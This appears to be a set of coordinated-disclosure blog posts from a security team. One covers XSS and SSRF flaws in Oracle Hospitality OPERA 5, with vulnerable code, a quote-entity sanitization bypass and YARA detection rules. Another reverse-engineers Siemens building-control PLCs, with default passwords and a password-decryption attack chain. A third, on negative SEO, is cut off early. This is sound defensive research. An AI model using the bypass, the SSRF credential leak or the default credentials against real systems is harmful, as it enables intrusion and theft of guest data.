CVSS v4.0: 8.7 / HIGH  / CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:L
Description: A server-side request forgery (SSRF) vulnerability has been identified in Oracle Hospitality OPERA 5, versions at and below 5.6.19.23, 5.6.25.17, 5.6.26.10, 5.6.27.4, 5.6.28.0. Attackers can leverage the vulnerability to disclose database credentials, invoke POST requests on arbitrary URLs, and enumerate internal networks. The compromised database accounts are used by the OPERA system for business operations and are thus configured with read/write privileges. This may lead to further disclosure of personally-identifiable information (PII) or disruption of business operations if the attacker has access to the database port.

Globally, we observed over 500 Internet-facing Oracle OPERA instances:

Background

Oracle Hospitality OPERA 5 is a Property Management System (PMS) for hotels and resorts, managing core operations like check-ins, reservations, and room allocation — while also offering tools for sales, catering, revenue management, and guest personalization. As such, you would not be surprised to see hotel receptionists and customer support at large chains using this software to handle their everyday operations.

Our testing workstation was a registered OPERA Terminal accessed through a browser. Once login is completed and a tool is selected from the menu, a Java applet pops up.

Figure 1: Sample OPERA login interface

CVE-2026-21966: Reflected XSS and Sanitization Bypass

The Road to XSS

In OPERA, HTTP requests are handled by Java servlets, which are classes with doGet and/or doPost methods. Inside OperaLogin.war, we discovered the OperaPrint servlet which accepts GET requests via a doGet method.

public void doGet(HttpServletRequest request, HttpServletResponse response)
  throws ServletException, IOException {
  // [...]
  try {
    String execute = Utility.sanitizeParameter(request.getParameter("ex"));
    // [...]
    if (execute.equals("INIT")) {
      initPrint(request, response, /* ... */);
    }
  } catch (Exception e) {
    logException(e, replog, appServerStr);
  }
}

Listing 2: This Java servlet handles a GET request and accepts an ex parameter.

By following the taint trail, we see the data is concatenated with other HTML strings and embedded in the HTTP response, wrapped with single quotes.

private void initPrint(
  HttpServletRequest request,
  HttpServletResponse response, /* ... */)
  throws IOException {
  // [...]
  String newquery = setParam(
    Utility.sanitizeParameterString(request.getQueryString()),
    "ex",
    "START");
  // [...]
  String newurl = "/OperaLogin/OperaPrint?" + newquery;
  // [...]
  response.setContentType("text/html;charset=UTF-8");
  PrintWriter out = response.getWriter();
  out.println("<!DOCTYPE html ...>");
  out.println("<html>");
  out.println("<head>");
  out.println("...");
  out.println("</head>");
  // [...]
  out.println("<body onload=\"InitPrint( '" + newurl + "' , '" + winname + "' )\"/>");
  out.println("</html>");
  out.close();
}

Listing 3: The URL query is reused and concatenated into HTML output.

This provides a trail for reflected XSS. However, the astute would notice that the code sanitizes user input using Utility.sanitizeParameterString. Some people would probably stop here, but let’s Try Harder™. What does this function actually do? Can you spot the flaw? (Please say yes.)

public static String sanitizeParameterString(String ret) {
  if (JavaUtils.isNullOrEmpty(new String[] { ret }))
      return ret; 
  String openTag = "=";
  String closeTag = "&";
  boolean flagProcessing = true;
  int currentTagPosition = 0;
  if (ret != null && ret.length() > 0) {
    while (flagProcessing) {
      int openTagPosition = ret.toLowerCase().indexOf("=", currentTagPosition);
      int closeTagPosition = ret.toLowerCase()
        .indexOf("&", openTagPosition + "=".length());
      if (openTagPosition != -1) {
        String param;
        SanitationMessage<String> sMessage = new SanitationMessage<String>("");
        if (closeTagPosition != -1) {
          param = _sanitizeParameter( // <-- Line 901
            ret.substring(openTagPosition + "=".length(), closeTagPosition),
            sMessage
          );
        } else {
          param = _sanitizeParameter( // <-- Line 906
            ret.substring(openTagPosition + "=".length()),
            sMessage
          );
        } 
        currentTagPosition = openTagPosition + "=".length() + param.length();
        if (closeTagPosition != -1) {
          ret = ret.substring(0, openTagPosition + "=".length())
                + param
                + ret.substring(closeTagPosition);
          continue;
        } 
        ret = ret.substring(0, openTagPosition + "=".length()) + param;
        continue;
      } 
      flagProcessing = false;
    }
  }
  return ret;
}

Notice in lines 901 and 906 that _sanitizeParameter is called on a substring. However, the string is extracted starting from the equal sign (=), up to the next ampersand (&; closeTagPosition) or until the end of the string (if closeTagPosition is not found). In other words, only the parameter value is extracted for sanitization. The parameter name is not sanitized.

This means the sanitization function could be bypassed using a query parameter such as /path?'name=value.

(Un)Fortunately, while such a payload may succeed on older or lesser-known browsers, it fails to bypass modern browser filters, which will automatically URL-encode the single quote ' to %27 before firing the HTTP request.

Despite this roadblock, we were able to bypass the sanitization function and browser protection with an alternative method.

A More Robust Sanitization Bypass

We used another trick, which is to use a HTML-entity &apos; instead of the single-quote literal. Normally, this trick would not work if the payload was reflected inside <script> tags. But in the context of a HTML attribute such as onload="...", the &apos; entity is treated as a literal quote, allowing us to escape the string context and run arbitrary JavaScript from the browser.

CVE-2026-21967: SSRF and Credential Disclosure

An SSRF is a vulnerability where an attacker tricks a web application into making unauthorized, unintended, or forged requests to internal or external resources. Attackers may exploit SSRFs to call privileged endpoints or exfiltrate sensitive data placed in cookies, headers, and parameters.

By reviewing yet another Java servlet (OperaServlet), we discovered a parameter named urladdress. This by itself is a huge code smell.

public void doPost(HttpServletRequest request, HttpServletResponse response)
  throws ServletException, IOException, UnsupportedEncodingException {
  PrintWriter out = response.getWriter();
  // [...]
  cmd = Utility.sanitizeParameter(request.getParameter("cmd"));
  urladdr = Utility.sanitizeParameter(request.getParameter("urladdress"));
  // [...]
  userid = StringValue[0];
  // [...]
  if (cmd.equalsIgnoreCase("runreport")) {
    callreport(userid, /* ... */, urladdr, out);
  }
}

Listing 4: Servlet contains a urladdress parameter.

Following the taint trail, we arrived at the callreport function. This function opens a URL connection to an attacker-controlled address and returns any data received.

private void callreport(
  String userid, /* ... */
  String urladdress, PrintWriter out) {
  DataOutputStream outstr = null;
  BufferedReader in = null;
  try {
    urlparams = "userid=" + userid + /* ... */;
    String myAddress = urladdress;
    URL myUrl = new URL(myAddress);
    URLConnection con = myUrl.openConnection();
    con.setDoInput(true);
    con.setDoOutput(true);
    con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    outstr = new DataOutputStream(con.getOutputStream());
    outstr.writeBytes(urlparams);
    outstr.flush();
    outstr.close();
    in = new BufferedReader(new InputStreamReader(con.getInputStream()));
    String inputLine;
    while ((inputLine = in.readLine()) != null)
      out.println(inputLine); 
    in.close();
  } catch (Exception e) {
    e.printStackTrace();
  } finally {
    // [...]
  } 
}

We were able to confirm the SSRF vulnerability by testing on a local port with netcat listening, then an online webhook service. Notably, we found that plaintext database credentials could be disclosed when a specific parameter is provided.

Figure 5: Left- Attacker-controlled server which receives the SSRF request. Credentials are disclosed in the dbuser/dbpswd@dbschema format. Such hospitality! Right- The crafted request was sent through curl.
Figure 6: Same demonstration but using an online webhook site to demonstrate the remote nature and exploitability.
Figure 7: We were able to enumerate and login to the database server using sqlplus.

In addition to demonstrating remote exploitability, Figure 6 also shows that the HTTP response from the target server (in this case, webhook[.]site) is reflected. An attacker can abuse this by disclosing information on subsequent systems.

We verified these credentials by enumerating the OPERA database host and connecting with sqlplus, an SQL client for Oracle Database. A few seconds later, we’re in!

Inside the database, it was possible to view room allocations, customer names, and emails, among other details.

Impact

CVE-2026-21966: Reflected XSS

Attackers can induce victims to run arbitrary client-side JavaScript, compromising confidentiality and integrity of the victims’ browser session. Attackers can exploit this to proxy through the victim’s browser and potentially perform authenticated requests to Oracle OPERA or other systems on behalf of the victim. This may allow attackers to establish a foothold on the internal network through a social engineering attack.

CVE-2026-21967: SSRF and Credential Disclosure

We have identified multiple impacts for CVE-2026-21967:

  1. Credential Disclosure; Potential Database Access and Customer Information Disclosure. Most concerningly, successful exploitation could lead to the disclosure of database credentials which are used by OPERA for business operations, enabling unauthorized read/write access to the database and password spraying of the corporate network.
  2. POST Request SSRF. By convention, POST requests are used to modify, create, or delete data. In general, they are used to perform more complex tasks compared to GET requests. An SSRF with the capability to send POST requests tends to be more dangerous as it may trigger these complex behaviors, which potentially include disrupting subsequent systems, modifying application data, or exploiting other vulnerabilities.
  3. Social-Engineering Attacks. Since the HTTP output is attacker controllable, it is possible to deliver arbitrary HTML. Attackers can abuse the trust of an OPERA domain to deliver malicious payloads which run in a victim’s browser.
  4. Enumerate Internal Network. An attacker can enumerate the internal network by port scanning or observing the HTTP response, which is reflected from the subsequent system. (This is your typical SSRF impact.) Figure 8 shows the enumeration of common Windows ports (135, 3389) in addition to various Oracle ports.
Figure 8: Sample impact: enumerate ports on the localhost machine.

Proof of Concept

During our discovery of CVE-2026-21966 and CVE-2026-21967, we successfully developed a Proof-of-Concept (POC) for both flaws. However, given the sensitivity of CVE‑2026‑21967 in particular, we have chosen not to release these POCs publicly.

Are you susceptible?

You can follow these steps to verify your Oracle Hospitality OPERA version:

  1. Login to OPERA.
  2. Select any tool. The version should be displayed in the window title.
  3. For detailed version information, select the rightmost “Help” tab.

If you believe you are susceptible to CVE-2026-21966 and/or CVE-2026-21967 and are seeking additional details, please do not hesitate to contact us directly for further guidance.

Remediations

  1. Upgrade to the latest versions of Oracle Hospitality OPERA.
  2. Apply network segmentation between the internal network and Oracle Hospitality OPERA services.
  3. Limit outbound traffic to suspicious sites and domains. Ideally, whitelist allowed destinations.
  4. Do not expose Oracle Hospitality OPERA to the public internet.

Detection Opportunities

In addition, we strongly recommend continuous monitoring of Oracle Hospitality OPERA instances for potential indicators of attack, such as unusual incoming HTTP requests containing Cross-Site Scripting (XSS)  payloads or unauthorized data modification. Further, we advise Web Application Firewall (WAF) coverage for Oracle Hospitality OPERA 5 deployments exposed to the internet to detect/block common XSS payloads.

YARA Rule:

rule CVE_2026_21966
{
    meta:
        description = "Detection of CVE-2026-21966"
        author      = "PwC DarkLab"
        date        = "2026-02"
        reference   = "CVE-2026-21966"
        severity    = "medium"
    strings:
        $path = "OperaPrint" ascii nocase
        $apos_entity = "&apos" ascii nocase
    condition:
        $path and $apos_entity
}
rule CVE_2026_21967
{
    meta:
        description = "Detection of CVE-2026-21967"
        author      = "PwC DarkLab"
        date        = "2026-02"
        reference   = "CVE-2026-21967"
        severity    = "high"
    strings:
        $path = "OperaServlet" ascii nocase
        $status = " 200 " ascii
        $a = /o.*?p.*?e.*?r.*?a.*?d.*?s/i
        $b = /urladdress\s*?=.*?h.*?t.*?t.*?p.*?.*?:/i     
    condition:
        $path and
        $status and 
        $a and $b
}

Save the above file as rules.yar and run the following on your Oracle Application Server. By default, the logs are stored in D:\ORA\user_projects\domains\OperaOHSDomain\servers\ohs1\logs.

Get-ChildItem -Path "D:\ORA\user_projects\domains\OperaOHSDomain\servers\ohs1\logs\access_log*" | ForEach-Object { .\yara64.exe rules.yar $_.FullName }

Conclusion

We hope you enjoyed this walk through of our team’s discovery of CVE-2026-21966 and CVE-2026-21967 in Oracle Hospitality OPERA 5 – a widely deployed property management system essential to hotel operations. As earlier mentioned, to protect our clients and the broader hospitality industry, we intentionally omitted the Proof-of-Concept and highly technical information that could otherwise be abused by malicious actors to weaponize these vulnerabilities.

The most severe, a Server-Side Request Forgery (SSRF) with a high CVSS v4.0 score of 8.7, allows attackers to disclose sensitive database credentials, potentially leading to unauthorized access to vast amounts of guest Personally Identifiable Information (PII) like names, emails, and room allocations. This could also enable internal network enumeration and operational disruption.

This risk is profoundly amplified in the hospitality sector, where open Wi-Fi networks potentially introduce avenues to infiltrate the internal network; therefore, merely restricting public internet access for OPERA systems is insufficient. Robust network segmentation, immediate patching, and comprehensive security controls are absolutely critical to safeguard customer data, maintain business continuity, and protect brand reputation.

General Best Practices

To effectively safeguard critical systems like Oracle Hospitality OPERA and the sensitive data they manage, organizations must adopt a comprehensive, multi-layered security strategy. Beyond specific vulnerability patches and remediation advice, the following best practices are crucial for maintaining a strong security posture:

Robust Patch and Vulnerability Management:

  • Timely Updates: Establish and enforce a rigorous process for promptly applying security patches and updates to all operating systems, applications (including Property Management Systems), databases, and network devices.
  • Active Attack Surface Management (ASM): Continuously discover, inventory, and assess all internet-facing assets and their potential vulnerabilities. This should include regular penetration testing and security audits by independent third parties to identify weaknesses before attackers do.

Network Segmentation and Isolation:

  • Isolate Critical Systems: Implement strict network segmentation to logically separate critical systems (e.g., OPERA servers, database servers) from less trusted networks, such as guest Wi-Fi, corporate office networks, and other non-essential segments.
  • Zero Trust Principles: Apply Zero Trust principles, ensuring that no user, device, or application is inherently trusted, regardless of its location. All access requests must be authenticated, authorized, and continuously validated.
  • Strict Egress Filtering: Implement outbound firewall rules to limit critical systems’ ability to connect to arbitrary external or internal destinations. Whitelist only absolutely necessary connections to prevent data exfiltration and command-and-control communications.

Enhanced Security Monitoring and Incident Response:

  • 24×7 Security Operations Centre (SOC): Leverage a 24×7 Security Operations Center (SOC) for continuous monitoring of security logs, network traffic, and system behaviour. This enables rapid detection of anomalous behaviour and indicators of compromise (IOCs).
  • Advanced Threat Detection: Deploy Intrusion Detection/Prevention Systems (IDS/IPS), Security Information and Event Management (SIEM) systems, and Endpoint Detection and Response (EDR) solutions to provide deep visibility and automated threat response capabilities.
  • Incident Response Plan: Develop, regularly test through tabletop exercises and simulations, and refine a comprehensive incident response plan to ensure rapid detection, containment, eradication, and recovery from security breaches.

Principle of Least Privilege and Strong Authentication:

  • Role-Based Access Control (RBAC): Implement granular Role-Based Access Control (RBAC) to ensure that users and system accounts only have the minimum necessary permissions to perform their assigned functions.
  • Multi-Factor Authentication (MFA): Enforce Multi-Factor Authentication (MFA) for all administrative access, remote access, and privileged user accounts across all critical systems to significantly reduce the risk of credential compromise.
  • Credential Management: Implement strong password policies, regularly rotate credentials, and securely manage secrets, avoiding hardcoded or easily discoverable credentials within code or configuration files.

Secure Development and Configuration:

  • Secure Coding Practices: For custom applications or integrations, ensure developers adhere to secure coding guidelines, including robust input validation and output encoding to prevent common web vulnerabilities like Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF).
  • Hardening Baselines: Apply secure configuration baselines to all operating systems, databases, and applications, disabling unnecessary services, features, and default accounts.

Data Protection and Resilience:

  • Encryption: Encrypt sensitive data at rest (e.g., database encryption, disk encryption) and in transit (e.g., TLS for all communications) to protect it from unauthorized access.
  • Regular Backups: Implement a robust, tested, and isolated backup and recovery strategy for all critical data and system configurations to ensure business continuity and data availability in the event of a compromise or disaster.

Timeline

  • Sept. 19, 2025. Discovered first issue (Reflected XSS, now tracked as CVE-2026-21966).
  • Oct. 12, 2025. Discovered second issue (SSRF and Credential Disclosure, now tracked as CVE-2026-21967).
  • Oct. 20, 2025. Vulnerability report sent to Oracle Security Alerts.
  • Jan. 15, 2026. Pre-release announcement by Oracle.
  • Jan. 20, 2026. Public disclosure by Oracle.
  • Feb. 13, 2026. Technical writeup and disclosure by PwC DarkLab HK.

Acknowledgements

Special thanks to the Oracle Security Alerts team for coordinated disclosure. For more information about recent vulnerabilities affecting Oracle Hospitality, please read the advisory published by Oracle: https://www.oracle.com/security-alerts/cpujan2026.html.

Further Information

We are committed to protecting our clients and the wider community against the latest threats through our dedicated research and the integrated efforts of our red team, blue team, incident response, and threat intelligence capabilities. Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Reverse Engineering a Siemens Programmable Logic Controller for Funs and Vulns (CVE-2024-54089, CVE-2024-54090, & CVE-2025-40757)

Posted on by johnathan.law

Under the sweltering heat of the Hong Kong summer, we entered a looming building and kicked off what was supposed to be a simple penetration test. Little did we know, this ordeal would lead to panic-stricken emails, extra reports, and a few new CVEs.

This is a tale of the unexpected discovery of three CVEs in a Siemens logic controller, reverse engineering a bespoke architecture, and an authentication bypass obscured by proprietary file formats.

  • CVE-2024-54089 – Weak Encryption Mechanism Vulnerability in Apogee PXC and Talon TC Devices[1]
  • CVE-2024-54090 – Out-of-Bounds Read Vulnerability in Apogee PXC and Talon TC Devices[2]
  • CVE-2025-40757 – Information Disclosure Vulnerability in Apogee PXC and Talon TC Devices[3]

Background

Our story begins with a simple network penetration test. The objective was to test our client’s internal network for potential vulnerabilities which could allow an attacker to take over systems from the perimeter, affect internal systems, and/or pivot to other networks. After a bit of mundane scanning and spreadsheet wrestling, we came across a few devices marked as Operational Technology (OT).

Nessus detected BACnet devices on the network

Meet the Siemens Apogee/Talon PXC Modular – a programmable logic controller (PLC) designed to automate building controls, monitoring, and energy management. These devices are primarily used in HVAC (heating, ventilation, air conditioning) systems which may have complex requirements depending on the weather, season, and time of day.

PLCs are like the managers of a building automation system. Just as managers oversee teams, allocate resources, and report to higher ups, PLCs monitor sensor inputs, execute logic, and send alerts and telemetry back to a central system or workstation.

Corporate analogies aside, quick scans of the device revealed interesting ports: telnet, HTTP, and BACnet (UDP/47808).

Hidden in HTTP

Analysis of the HTTP server quickly revealed the presence of a path traversal bug in the HTTP server – which we later validated to be CVE-2017-9947. This 7-year-old vulnerability enables remote attackers with network access to the integrated HTTP server to obtain information on the structure of the FAT file system.

Exploitation of CVE-2017-9947 led to enumeration of the following files stored within the directory:

A few files piqued our interest, and we downloaded these with a special parameter. Upon opening 7002[.]db, we uncovered what appeared to be proprietary hex – mostly appearing unhelpful upon first glance – though housing some default credentials which may render themselves useful later…

python custom_decode_script.py 7002.db | xxd

Toying with Telnet

The telnet service was password-protected, but that would not stop us. With a bit of enumeration, we identified a user manual[4] specifying three (3) default credentials: HIGH:HIGH, MED:MED, and LOW:LOW. The first set of default credentials (HIGH:HIGH) rendered itself useless (for now), though the subsequent two default credentials enabled successful login to the Telnet service.

We’re in!

After a bit of exploration, we found we had permission to dump memory as MED!  

And here comes our first finding: what happens if we dump memory at a higher address?

Oh no! Connection lost.

Immediately, we double checked BACnet objects. Originally, over 900 objects were observed – now, only 17 remain. Needless to say, availability has gone out the window.

Current state of BACnet objects; only displaying hardware debug information.

Out of curiosity, we also tried logging into telnet as HIGH with the default password. This time, it worked!

We are HIGH! Oh no.

Let’s recap. We were initially unable to login as HIGH, but could login as MED. When we inputted a large address into the Dump Memory function, we lost the telnet connection. Further enumeration showed 99% of BACnet objects were missing, and the password for HIGH was reset.

Fast forward several months, and our discovery was formally recognized as CVE-2024-54090[5]:

A Peek at Memory and Some Déjà vu

After taking all the necessary screenshots for the first finding, we proceeded to double down on the Dump Memory function. What else could we uncover?1

We determined the memory range to be 0 to 0x03FF'FFFF, which precisely correlates with the 64MB SDRAM listed in the Technical Spec.[6] After obtaining the full dump, it’s time to see what’s inside! A simple strings (or od) operation revealed some familiar faces…

Output from od -A x -S 4 dump.bin | less. The od command will attach the memory location too; quite useful when reversing alongside another tool.

Huh, curious! These are similar to the strings we previously saw in the .db file. On a whim, we tried changing our MED password and dumping the 0xc10f99 region. And sure enough, instead of #kjD., new values appeared. Not only that, but other values around the region remain unchanged, which suggests this particular memory location is tied to the password we just changed.

At this point, we hypothesised these values to be encrypted passwords. If kjD. is our password for MED, then perhaps 1237 and f}W are the passwords for HIGH and LOW respectively? After a quick test, we confirmed f}W is likely the encrypted password for LOW. So where does that leave us with 1237?

On another whim, we tried logging in as HIGH with the password 1234, and…we’re in?! (again)

WHAT?!

In utter disbelief, we toyed around with other passwords, and well – you can see the results for yourself.

Sample plaintext/ciphertext pairs. Notice how passwords comprised solely of digits are easily guessable.

This leads us to our second finding, CVE-2024-54089[7]; a weak password encryption mechanism. At this point, it was confirmed an attacker could guess certain passwords.

In the next few sections, we will show how we discovered how to decrypt any password. We initially attempted to reverse the encryption with a black-box approach and tried our hands at differential cryptanalysis. After much deliberation and regret at not having played more cryptography-style CTF challenges, we decided it was time for a different approach.

Taking a Trip Down Memory Lane

To solidify the impact of our finding (and to properly crack the xor-based slop), we proceeded to reverse-engineer the memory dump.

Loading Memory

While strings and od can provide clues, they do so without much context. We loaded the entire 64MB memory dump into Ghidra and were greeted with this marvelous junk:

Oops, wrong endian. Let’s try loading the same file with Big Endian instead.

That’s more like it!

PowerPC supports both big and little endian, which determine the order of bytes being interpreted. If we specify the wrong endian, the disassembler cannot correctly parse instructions. Evidently, this particular PLC uses big endian.

From here, we can hunt for more vulnerabilities or dig deeper into our previous findings. For now, we’ll stick to reverse engineering the encryption algorithm. But where do we start?

libc: An Exercise in Reverse Engineering

Without symbols, standard C functions are expressed as mumbo jumbo. While these are tedious to reverse, it does help stretch our reversing brains a bit. For instance, the following function has over 600 cross-references (XREFs). If we can identify this function, we’ll have an easier time reversing other parts of code. What do you think this function is?

void FUN_008ba294(undefined *param_1, undefined *param_2, uint param_3)
{
  param_1 = param_1 + -1;
  param_2 = param_2 + -1;
  for (; param_3 != 0; param_3 = param_3 - 1) {
    param_2 = param_2 + 1;
    param_1 = param_1 + 1;
    *param_1 = *param_2;
  }
  return;
}

This is indeed memcpy. This copies param3-bytes from the memory at param2 to the memory at param1. The actual decompiled function is slightly more complicated with optimisations for copying the buffer by words (4 bytes) instead of byte-by-byte. To make our lives easier, we’ll edit the function signature with the appropriate names and types.

Here’s another function (over 1200 XREFs). What could this be?

char * FUN_008ba680(char *param_1)
{
  char cVar1;
  uint *puVar2;
  char *pcVar3;
  uint *puVar4;
  uint uVar5;
 
  uVar5 = 4U - (int)param_1 & 3;
  pcVar3 = param_1;
  while( true ) {
     if (uVar5 == 0) {
       puVar2 = (uint *)(pcVar3 + -4);
       do {
          puVar4 = puVar2;
          puVar2 = puVar4 + 1;
          uVar5 = *puVar2;
       } while ((uVar5 + 0xfefefeff & ~uVar5 & 0x80808080) == 0);
       pcVar3 = (char *)((int)puVar4 + 3);
       do {
          pcVar3 = pcVar3 + 1;
       } while (*pcVar3 != '\0');
       return pcVar3 + -(int)param_1;
     }
     cVar1 = *pcVar3;
     pcVar3 = pcVar3 + 1;
     if (cVar1 == '\0') break;
     uVar5 = uVar5 - 1;
  }
  return pcVar3 + (-1 - (int)param_1);
}

Hint: What is being returned and how is it computed?

Some lines might seem scary, but let’s work with what we observe and know:

  • param_1 operates on a char* and the null byte \0 is checked, so this is likely a string operation.
  • The return statement pcVar3 - 1 - param_1 is a good clue that the function is doing some kind of index-of or counting operation since param_1 is the start of the string. Analysing the operations, no other special operation is performed aside from incrementing pcVar3/pcVar4.
  • Hence, ignoring the weird constants in the nested while-loop, we can conclude with relative certainty this is our good friend strlen.
  • For the curious, the uVar5 + 0xfefefeff & ~uVar5 & 0x80808080 magic is some bitwise trickery to check for null bytes in a word.[8]

We continued hacking away at familiar functions before slowly, moving on to complex higher level functions.

A Note on RTOS

We tried finding the encryption function through different approaches. While noodling around, we came across the thread function running the telnet server (think: the main function / entrypoint of the thread). We were unable to drill down to our target (shakes fist – curse you indirection!), but this still posed a good opportunity to observe how the PLC works at the embedded level, and to revisit concepts of embedded software.

By correlating strings and the number 23 (the default telnet port), we determined functions relevant to socket programming.

For a bare metal system to handle multithreading, a common approach is to use an RTOS (Real-Time Operating System). The RTOS is often provided as a library/API containing threading and synchronisation primitives. It is also common to allocate space for a stack then call some create_task function with a function pointer to the entrypoint of the thread.

Once in a while, we come across interesting bits and pieces. As a side quest, we took a peek at other thread functions and uncovered the code for a debug server with a peculiar choice of port.

Our nmap scans did not reveal this port, so it is likely an artifact from internal testing. Still an interesting find though!

Uncovering the Encryption

After much trial and error, we were able to find the encryption function.

We started by again, searching for common phrases associated with login. This time we tried searching for one of the default users: HIGH. In one instance, the string was embedded among other strings such as “newPassword“, “oldPassword“, and “UserAccountPasswordReset” which suggests some kind of parsing/logging/error-handling related to password reset.

We followed XREFs to a relevant function and got our hands dirty.

Inside the reset_password function, we identified two similar code flows which operate on the old password and new password. In the screenshot below, the old password is converted to bytes and validated before being copied into the buffer at param_1 + 0x291. Later on, the same process is applied to the new password which is copied to param_1 + 0x17a.

As suspected, the code eventually calls a function on each buffer, which we confirmed performs in-place encryption – the very thing we were looking for!

The actual encryption process is rather straightforward to reverse. First, the password is converted to UPPERCASE.

It then performs multiple xor operations on the string, looping through each character. Each byte is xored with a variety of numbers. And interestingly, byte 0x2a (42) shows up multiple times. Coincidence?

Once we know the encryption process, it was trivial to reverse the decryption due to the use of xor.

For security reasons, we will not disclose the full algorithm here, but the gist is that we confirmed the algorithm is xor-based with a hard-coded key. An attacker with knowledge of the algorithm can decrypt any encrypted password on any affected device.

BAC(net) to the Future

This writeup would not be complete without a juicy OT attack. After reporting the first two vulnerabilities, we realised there was an obscure information leak hiding in plain sight…

BACnet is a building automation protocol which exposes an API to read/modify settings of a device. It typically runs on udp/47808 (0xBAC0) and is designed for lightweight and flexible communication between building controllers. We used JoelBender’s bacpypes Python library to interface with BACnet.[9] (Check out this resource to learn more about BACnet basics[10])

BACnet objects found by querying with bacpypes.

We followed this process when enumerating BACnet:

  1. Gather the Device ID. (nmap, Nessus, port scan)
  2. List objects on the device: ./samples/ReadObjectList.py
  3. Select objects and list properties: ./samples/ReadAllProperties.py

From here, we tested individual properties for read/write capability. Suffice it to say, BACnet network security hardly meets modern standards, but that is not our focus for this post.

Instead, we turn our attention to a few interesting BACnet objects specific to our targets:

Look familiar? Using a modified version of ReadWriteFile.py[11], we downloaded the files over BACnet. And surprise surprise – it holds the same contents as the .db found earlier in the HTTP server. But as we realised before, these files actually contain encrypted passwords; and since BACnet by nature does not have authentication, this means devices are susceptible to unauthenticated information disclosure. Anybody on the network can slurp out encrypted passwords. Alas, meet CVE-2025-40757:

The implications are huge! An attacker on the network could perform an authentication bypass by chaining the above issues: read the encrypted password from BACnet, decrypt/guess the plaintext, and login to telnet as a HIGH (admin) user. Even if telnet were disabled, the passwords could be used for spraying across other systems.

Once an attacker can login as HIGH, they could (conceptually) execute arbitrary assembly instructions with the built-in Write Memory feature or modify the embedded HTML to include an XSS snippet! More concerningly, they could compromise availability by tampering with device settings.

If anything, this goes to show how security by obscurity is insufficient.

Let’s Recap

TLDR;

  • We discovered MED/HIGH users can cause the affected device to enter a cold-start state, severely impacting availability. (CVE-2024-54090)
  • We reverse engineered the encryption mechanism for telnet passwords and confirmed it was xor-based. No encrypted passwords are safe. Moreover, if a password contains only digits, it is easily guessable in its encrypted form. Decryption works across affected devices due to a hard-coded key. (CVE-2024-54089)
  • We discovered an Information Disclosure vulnerability where encrypted passwords are disclosed over a BACnet file object. (CVE-2025-40757)
  • By chaining CVE-2025-40757 and CVE-2024-54089, we could perform an authentication bypass, allowing one to login as any user and tamper with the device.

Mitigations

Affected Devices:

  • Siemens APOGEE PXC Series (all versions)
  • Siemens TALON TC Series (all versions)

As of writing, no fix is planned by Siemens. The following mitigations and temporary workarounds can be applied instead:

  1. Disable telnet. According to Siemens, telnet should be disabled by default, but in our experience, it is not uncommon for site administrators to enable it for convenience. We recommend disabling telnet to mitigate these vulnerabilities.
  2. Change the default password for all accounts (HIGH, MED, LOW) even if unused. Choose strong passwords containing a mix of letters and digits.
    • Do not choose passwords comprised solely of digits.
    • Note that this does not prevent attackers with knowledge of the encryption algorithm from decrypting the passwords.
  3. Apply detective controls such as network monitoring to identify suspicious traffic.

Acknowledgements

Special thanks to Siemens ProductCERT team for coordinated disclosure. For more information on these vulnerabilities, please refer to the official advisories published by Siemens:

  • CVE-2024-54089 – Weak Encryption Mechanism Vulnerability in Apogee PXC and Talon TC Devices[12]
  • CVE-2024-54090 – Out-of-Bounds Read Vulnerability in Apogee PXC and Talon TC Devices[13]
  • CVE-2025-40757 – Information Disclosure Vulnerability in Apogee PXC and Talon TC Devices[14]

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

  1. It is important to caveat that we did not have the firmware for this controller, nor was Ghidra MCP available at the time, so our testing was very much black box. Further, we faced several roadblocks: 1) All symbols, libc or otherwise, needed to be reversed manually. 2) Ghidra flow detection is a bit buggy with PowerPC. 3) Code may be incomplete, since it may be overwritten with data or loaded dynamically.

    Any function/variable names you see in our reversing process are a best guess based on limited information and patterns. In hindsight, our testers recognized there could have been alternative approaches taken, such as grabbing an appropriate libc.so and applying offsets, or reading up on prior research on Nucleus RTOS (which seems to be the underlying RTOS). ↩︎

The Dark Side of SEO: Negative SEO Attacks Targeting Businesses in Asia

Posted on by darklabhk

In June 2025, DarkLab discovered unusual search results indexed on a popular Hong Kong online platform. This led to our deep dive into another form of DNS abuse impacting legitimate entities; negative SEO. This form of SEO poisoning is known to be typically conducted by competitors as a means to damage reputation or ‘flood out’ the competition, whilst others leverage the tactic for free marketing to promote their suspicious site.

This blog uncovers ‘how’ and ‘why’ these attacks are in place, what tools – both legitimate and Cybercrime-as-a-Service (CCaaS) – facilitate such attacks, and the scale of impact across Asia. 

Foundations First: Search Engine Optimisation (SEO) and Google’s Crawler

To understand how negative SEO works, it is important first grasp the SEO basics. SEO is the practice of increasing the quality and quantity of traffic to your website through organic search engine results. This includes optimizing your website’s technical structure, content, and off-page factors (e.g., backlinks) to make your website easily understandable and accessible to both users and search engines (e.g., Google, Bing, DuckDuckGo,…).

As an example, referencing Google’s SEO Starter Guide[1], “Google primarily finds pages through links from other pages it already crawled. In many cases, these are other websites that are linking to your pages.” Google discovers content primarily through links and sitemaps, aiming to see pages as a user would, including accessing CSS and JavaScript. Inherently, the more your link is referenced on already indexed sites, the higher the likelihood of Google discovering and indexing your content, thus increasing its visibility and potential ranking in search results. The same applies to other search engines, though we leverage Google as a case study in this blog.

Negative SEO attempts to exploit these mechanisms by creating spammy backlinks, hacking websites to inject malicious code or redirect traffic, spreading misinformation through fake social media profiles, duplicating content to dilute authority, or to weaken competitor sites’ SEO ranking.

Negative SEO in Action

Through our active tracking of DNS-related threats impacting victims in Asia, we observed an interesting case of indecent or ‘fake’ search results indexed by Google. These fake search results corresponded to a Hong Kong retailer, weaponising their in-site search feature given their current configurations allow for the indexing of search results. Whilst our case study primarily focuses on the local retailer, it is worth noting that this abuse impacts any website that enables the indexing of in-site search results. For example, we have observed similar indexing impact other local and regional sites across multiple industry verticals – such as online shops, charitable organisations and real estate firms.

Figure 1: Indexed search results containing external links

